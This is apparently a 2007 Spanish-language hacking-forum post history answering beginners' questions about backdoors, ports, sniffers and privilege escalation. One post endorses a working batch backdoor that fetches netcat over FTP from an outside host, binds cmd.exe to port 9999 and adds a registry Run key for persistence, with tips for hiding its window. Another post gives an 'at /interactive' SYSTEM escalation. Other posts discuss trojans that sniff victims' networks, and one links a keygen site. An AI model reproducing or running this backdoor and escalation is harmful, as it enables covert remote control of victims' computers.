| |
|
121
|
Seguridad Informática / Hacking Básico / Re: Backdoor en batch
|
en: 05 Octubre 2007, 20:39
|
|
generalmente todo el mundo al principio tiene ese error.. abrir un puerto no es nada.. en realidad lo que queres es habilitar un servicio... hay servicios como telnet que tiene su puerto por defecto y cuando pones a correr un servidor abre su o sus puertos, pero tambien podes hacer un programa que abra el puerto.. 9 por ejemplo y listo, pero y cuando este puerto reciba datos ¿quien los va a manipular si no hay un codigo detras para responder debidamente? por esto necesitarias un codigo batch que inicie un servicio.
|
|
|
|
|
122
|
Seguridad Informática / Hacking Básico / Re: sniffer en un pc remoto
|
en: 04 Octubre 2007, 14:50
|
|
los sniffer solo funcionan en una lan (hasta donde conozco) poniendo una maquina en modo promiscuo. ahora esto no quita que un troyano pueda usar tecnicas de sniffer para enviarte (a tu maquina que no este en la misma red de la vitima) informacion sobre todas las conexiones que esta haciendo la victima o toda la red lan donde se encuentra la victima, y de este modo ver por ejemplo desde esa lan remota todas las direcciones de las personas que usan mensajeria instantanea, datos de conexiones a servidores ftp, paginas visitadas y sus contenidos y datos por el estilo.
|
|
|
|
|
123
|
Seguridad Informática / Hacking Básico / Re: Como abro mis propios puertos??
|
en: 04 Octubre 2007, 14:45
|
|
creo que el chico no entiende que cuando ejecute el server en su maquina este abre solo el puerto que va a estar en modo escucha a la espera de la peticion de conexion del cliente. Seguramente el server tiene una opcion para configurar el puerto que queres abrir o si esta por defecto solo tenes que ejecutar el server en tu maquina y listo. (no podes estar en un cyber con el server porque no se puede si estas detras de un router sin que hayas mapedos los puertos que vas a usar para dar el servicio)
|
|
|
|
|
124
|
Seguridad Informática / Hacking Básico / Re: Ayuda, fondo escritorio capado
|
en: 04 Octubre 2007, 14:41
|
ahh tendrias que haber empezado por ahi... lo que vas a tener que usar es una herramienta de cracking que se llama Controlador de ventanas v5.0 by Storm. Este programa tiene una opcion que dice Habilitar botones y hace precisamente eso, busca todos los botones (no hay que especificar ninguna ventana ni nada)y los pone en estado Enabled (habilitados) a mi me funciono de maravillas, pero hay veces que cuando uno habilita un boton aun no funciona como uno espera por mas clics que le haga, es cuestion de intentar. aca esta el programa (entre otros) http://www.hackemate.com.ar/mirrors/karpoff/herramie.htm
|
|
|
|
|
126
|
Seguridad Informática / Hacking Básico / Re: Backdoor en batch
|
en: 03 Octubre 2007, 22:49
|
jajaj si muy bueno, mis disculpas por mi f#cking miopia  de verdad me gusto mucho. @echo off echo cd XXXX > autox.txt echo get nc.exe c:/WINDOWS/nc.exe >> autox.txt echo quit >> autox.txt ftp -s:autox.txt -A serverhack.com c:/windows/nc.exe -l -p 9999 -d -e cmd.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v SystemRun /d C:\WINDOWS\run.bat echo @echo off > c:\windows\run.bat echo nc.exe -l -p 9999 -d -e cmd.exe >> c:\windows\run.bat
si alguien quiere usar otro troyano y otro server puede agregar entre la primera y la segunda linea echo Usuario>> autox.txt echo Password>> autox.txtdonde Usuario y Password son el nombre de usuario y el pass para logearse en el servidor ftp (el simbolo >> debe estar pegado al pass sino al final le va a agregar un espacio extra y no se va a iniciar sesion) y sustituir ftp -s:autox.txt -A serverhack.compor ftp -s:autox.txt ServerPropio.combueno y modificar un poco las lineas que ejecutan el troyano, pero eso depende de cada caso. repito.. me gusto mucho  PD: si alguien quiera pasar el bat a exe y que no aparezca ninguna ventana cmd delatora (Options --> Ghost Aplication) http://www.abyssmedia.com/quickbfc/http://www.keygen.cc/crack/67767/
|
|
|
|
|
127
|
Seguridad Informática / Hacking Básico / Re: Ayuda, fondo escritorio capado
|
en: 03 Octubre 2007, 22:44
|
|
inicio --> ejecutar --> cmd.exe
escribis esto en la consola
time y dos veces enter
despues
at 12:05 /interactive cmd.exe
donde 12:05 es una hora uno o dos minutos despues de la hora actual que viste con el comando time
en uno o dos minutos se va a abrir una consola de comando com privilegios de sistema y escribis esto:
taskkill /f /im explorer.exe
y despues esto
start explorer.exe
listo.. privilegios de sistema.. hace click derecho sobre el escritorio, propiedades, escritorio, examinar... etc.
no entiendo como no podes hacer esto con solo con privilegios de admin.. supongo que no tenes habilidato el clic derecho en el escritorio (raro como admin), pero eso se puede sorter con un metodo mas sencillo
inicio --> ejecutar --> desk.cpl
en el registro es en local user... Control panel.. desktop... wallpaper o algo asi
|
|
|
|
|
128
|
Seguridad Informática / Hacking Básico / Re: Pregunta basica
|
en: 02 Octubre 2007, 22:34
|
Mi consulta es la siguiente. Me refiero a personas particulares, o sea, a personas que por lo general se conectan a internet y tienen una IP dinamica. Que probabilidad hay hoy en dia de podes ponetrar a su sistema Las probabilidades son nulas. Hacer un troyano indetectable o un troyano propio en VB por ejemplo no es nada complicado. Los troyanos hoy en dia son la herramienta que hacen más fácil una intrusión a nivel general.
eso me parece un poco cotradictorio, o penetrar es solo atravez de un bug? yo creo que las posibilidades de intrusion en un sistema hogareño no son nada bajas si sabes programar... falta poco para que mi maravilla vea la luz (chau firewalls, routers, ips dinamicas y demas problemas) jajjajaj ¿que lastima que no hay una carita con risa diabolica =  +  +
|
|
|
|
|
129
|
Seguridad Informática / Hacking Básico / Re: Ayuda, fondo escritorio capado
|
en: 02 Octubre 2007, 22:29
|
|
si sin ser admin tenes acceso al comando "at" (para programar tareas) podes escalar privilegios hasta system y cambiar el fondo de escritorio. Sino yo intentaria con un archivo .reg para modificar el registro y colocar un nuevo valor para el fondo de escritorio (esto ultimo se me esta ocurriendo ahora, no pongo las manos en el fuego)
|
|
|
|
|
130
|
Seguridad Informática / Hacking Básico / Re: Backdoor en batch
|
en: 02 Octubre 2007, 22:21
|
jaja cuando vi Backdoor en batch, no es por desmerecer, pero pense que era un verdadero backdoor en batch. Esto es unas lineas batch que ejecutan el netcat no es solo mandar el bat sino tambien hay que mandar el netcat. Un verdadero backdoor en batch seria uno que habilite el servicio telnet de windows xp por ejemplo (no tengo idea si es posible  ) una vez vi un exe muy chiquito que habilitaba ese servicio en el XP victima y uno se podia conectar sin necesidad del netcat solo con telnet desde la maquina atacante. pero siempre tiene ese problema, por lo menos para mi, de los nombres de user y pass para el servicio telnet.
|
|
|
|
|
131
|
Seguridad Informática / Hacking Básico / Re: Buscar en basura electronica???
|
en: 29 Septiembre 2007, 17:50
|
pareciera que haces referencia a algo parecido al TRASHING Aunque con la explosión de Internet parece estar un poco de capa caida, al menos no se escucha tanto, en su día el "trashing", o el buscar información en los cubos de basura de las empresas, era una técnica común. Números de teléfono, información sobre los sistemas, apuntes, reportes, documentos, datos de usuarios, disquetes aparentemente dañados, todo era aprovechable para el atacante. La mayoría de las veces era información valiosa para montar un ataque de ingeniería social, en otras ocasiones incluso se podía encontrar alguna joya que permitía la intrusión (¿alguna vez has tirado a la basura algún papel con un usuario/contraseña?). Pese a que las destructoras de documentos están a la orden del día, es una técnica que sigue dando sus frutos porque no hay concienciación en las empresas sobre este tipo de riesgos. Puede parecer un riesgo menor, ya que requiere un trabajo físico y local del atacante, pero no hay que despreciarlo. ¿Tienes en cuenta el trashing en la política de seguridad, en la formación de los usuarios, y en tus auditorías internas? http://blog.hispasec.com/laboratorio/66esto me hizo acordar una vez que "soñe" que entraba en algunos correos ajenos y encotraba entre los viejos mails correos de suscripciones a paginas y blogs con sus correspondientes pass y no solo esto sino que tambien en este "sueño" algunas personas usaban esos mismos pass para otros correos.
|
|
|
|
|
132
|
Seguridad Informática / Hacking Básico / Re: Conocer identidad
|
en: 29 Septiembre 2007, 02:00
|
con todo el respeto.. si me gustara la novia de alguien me haria un mail de "ella" y no de "el", fijate el descocierto que es capaz de generar este minimo detalle. Ademas sin andar haciendo problemas por ahi tengo muchos mails de "ella" jajaj para ingenieria social, no piensen mal. Lo que podes hacer es decirle a tu novia que vas a andar contando cosas falsas. mira: a un amigo le decis que engañaste a tu novia con una pelada, a otro que fue con una gorda, a otro etc. y a todos les decis que no le cuenten a nadie.. entonces cuando este "ente virtual" te quiera chantajear va a decirte que engañaste a tu novia con una mina con ciertas caracteristicas.. solo vas a tener que seguir la traza de la informacion y recordar a quien le dijiste esa caracteristica (gorda o pelada o lo que fuere) (esto no es muy informatico que digamos  )
|
|
|
|
|
134
|
Seguridad Informática / Hacking Básico / Re: Sniffers
|
en: 28 Septiembre 2007, 13:58
|
bueno, en lo que a sniffer en windows respecta este siempre siempre fue mi compañero de aventuras y nunca me dejo a pie http://www.networkactiv.com/PIAFCTM.html (esta la version 2.2, pero prefiero la 1.5) fijensè que en el video cuando espian el correo electronico, el correo es enviado por el outlook, cualquiera que haya programado un cliente pop3 o smtp sabe que son faciles de sniffar, es que basicamente es como escribir comandos desde telnet, pero no creo que ese test del correo electronico hubiese salido tan lindo si hubiesen enviado el mail desde una pagina como yahoo o hotmail, donde la info no tiene que ir necesariamente por ahi en texto plano. Por eso cuando sniffen un cliente de msn solo van a poder ver que escribe el que esta en su propia red, porque lo que llega al msn esta encriptado y el cliente lo desencripta y muestra. (incluso todo podria estar encriptado, no se porque no es asi). Lo del html es muy cierto.. solo eso y mmm me deja un poco de dudas eso de poder ver pass con un sniffer seguro que despues te tendrias que pasar 2000 millones de años al calor de la mas pura fuerza bruta para descifrar un pass sniffado.
|
|
|
|
|
|
| |
|